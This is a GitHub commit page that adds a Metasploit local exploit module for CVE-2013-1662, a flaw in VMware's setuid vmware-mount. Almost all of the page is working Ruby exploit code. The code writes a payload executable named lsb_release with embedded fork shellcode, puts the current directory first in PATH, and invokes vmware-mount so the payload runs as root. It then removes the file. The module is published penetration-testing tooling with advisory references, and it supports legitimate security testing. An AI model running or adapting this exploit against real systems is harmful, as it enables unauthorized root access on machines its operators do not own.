Skip to content

Commit 8efe2d9

Browse files
author
jvazquez-r7
committed
Land rapid7#2289, @jlee-r7's exploit for CVE-2013-1662
2 parents 7a4d781 + e1e8891 commit 8efe2d9

File tree

1 file changed

+99
-0
lines changed

1 file changed

+99
-0
lines changed
Lines changed: 99 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,99 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
require 'rex'
10+
require 'msf/core/post/common'
11+
require 'msf/core/post/file'
12+
13+
class Metasploit4 < Msf::Exploit::Local
14+
15+
include Msf::Exploit::EXE
16+
include Msf::Post::Common
17+
include Msf::Post::File
18+
19+
def initialize(info={})
20+
super( update_info( info, {
21+
'Name' => 'VMWare Setuid vmware-mount Unsafe popen',
22+
'Description' => %q{
23+
VMWare Workstation (up to and including 9.0.2 build-1031769)
24+
and Player have a setuid executable called vmware-mount that
25+
invokes lsb_release in the PATH with popen(3). Since PATH is
26+
user-controlled, and the default system shell on
27+
Debian-derived distributions does not drop privs, we can put
28+
an arbitrary payload in an executable called lsb_release and
29+
have vmware-mount happily execute it as root for us.
30+
},
31+
'License' => MSF_LICENSE,
32+
'Author' => [ 'egypt'],
33+
'Platform' => [ 'linux' ],
34+
'Arch' => ARCH_X86,
35+
'Targets' =>
36+
[
37+
[ 'Automatic', { } ],
38+
],
39+
'DefaultOptions' => {
40+
"PrependSetresuid" => true,
41+
"PrependSetresgid" => true,
42+
},
43+
'Privileged' => true,
44+
'DefaultTarget' => 0,
45+
'References' => [
46+
[ 'CVE', '2013-1662' ],
47+
[ 'OSVDB', '96588' ],
48+
[ 'BID', '61966'],
49+
[ 'URL', 'http://blog.cmpxchg8b.com/2013/08/security-debianisms.html' ],
50+
[ 'URL', 'http://www.vmware.com/support/support-resources/advisories/VMSA-2013-0010.html' ]
51+
],
52+
'DisclosureDate' => "Aug 22 2013"
53+
}
54+
))
55+
# Handled by ghetto hardcoding below.
56+
deregister_options("PrependFork")
57+
end
58+
59+
def check
60+
if setuid?("/usr/bin/vmware-mount")
61+
CheckCode::Vulnerable
62+
else
63+
CheckCode::Safe
64+
end
65+
end
66+
67+
def exploit
68+
unless check == CheckCode::Vulnerable
69+
fail_with(Failure::NotVulnerable, "vmware-mount doesn't exist or is not setuid")
70+
end
71+
72+
# Ghetto PrependFork action which is apparently only implemented for
73+
# Meterpreter.
74+
# XXX Put this in a mixin somewhere
75+
# if(fork()) exit(0);
76+
# 6A02 push byte +0x2
77+
# 58 pop eax
78+
# CD80 int 0x80 ; fork
79+
# 85C0 test eax,eax
80+
# 7406 jz 0xf
81+
# 31C0 xor eax,eax
82+
# B001 mov al,0x1
83+
# CD80 int 0x80 ; exit
84+
exe = generate_payload_exe(
85+
:code => "\x6a\x02\x58\xcd\x80\x85\xc0\x74\x06\x31\xc0\xb0\x01\xcd\x80" + payload.encoded
86+
)
87+
write_file("lsb_release", exe)
88+
89+
cmd_exec("chmod +x lsb_release")
90+
cmd_exec("PATH=.:$PATH /usr/bin/vmware-mount")
91+
cmd_exec("rm -f lsb_release") # using it over FileDropper because the original session can clean it up
92+
end
93+
94+
def setuid?(remote_file)
95+
!!(cmd_exec("test -u /usr/bin/vmware-mount && echo true").index "true")
96+
end
97+
98+
end
99+

0 commit comments

Comments
 (0)